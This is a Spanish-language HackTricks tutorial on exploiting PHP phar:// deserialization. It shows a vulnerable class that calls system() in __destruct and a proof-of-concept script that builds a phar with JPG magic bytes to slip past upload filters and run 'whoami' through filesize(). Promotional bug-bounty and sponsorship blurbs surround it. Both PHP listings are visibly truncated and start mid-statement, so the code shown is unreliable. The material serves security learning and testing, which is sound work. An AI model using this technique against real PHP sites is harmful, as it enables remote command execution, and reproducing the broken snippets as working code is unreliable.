# Deserialización de phar://
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
**Consejo de recompensa por errores**: **Regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy y comienza a ganar recompensas de hasta **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} Los archivos **Phar** (PHP Archive) contienen metadatos en formato serializado, por lo tanto, al ser analizados, estos **metadatos** se **deserializan** y se puede intentar abusar de una vulnerabilidad de **deserialización** dentro del código **PHP**. Lo mejor de esta característica es que esta deserialización ocurrirá incluso utilizando funciones de PHP que no evalúan código PHP como **file\_get\_contents(), fopen(), file() o file\_exists(), md5\_file(), filemtime() o filesize()**. Entonces, imagina una situación en la que puedes hacer que un sitio web en PHP obtenga el tamaño de un archivo arbitrario utilizando el protocolo **`phar://`**, y dentro del código encuentras una **clase** similar a la siguiente: {% code title="vunl.php" %} ```php data = $data; } function __destruct() { system($this->data); } } filesize("phar://test.phar"); #The attacker can control this path ``` {% endcode %} Puedes crear un archivo **phar** que, al cargarse, **abusará de esta clase para ejecutar comandos arbitrarios** de la siguiente manera: {% code title="create_phar.php" %} ```php data = $data; } function __destruct() { system($this->data); } } // create new Phar $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub("\xff\xd8\xff\n"); // add object of any class as meta data $object = new AnyClass('whoami'); $phar->setMetadata($object); $phar->stopBuffering(); ``` {% endcode %} Note cómo los **bytes mágicos de JPG** (`\xff\xd8\xff`) se agregan al principio del archivo phar para **burlar** **posibles** **restricciones de** **carga de archivos**.\ **Compila** el archivo `test.phar` con: ```bash php --define phar.readonly=0 create_phar.php ``` Y ejecutar el comando `whoami` abusando del código vulnerable con: ```bash php vuln.php ``` ### Referencias {% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
**Consejo de recompensa por errores**: ¡**Regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, ¡y comienza a ganar recompensas de hasta **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %}
Aprende a hackear AWS de cero a héroe con htARTE (Experto en Equipos Rojos de AWS de HackTricks)! Otras formas de apoyar a HackTricks: * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).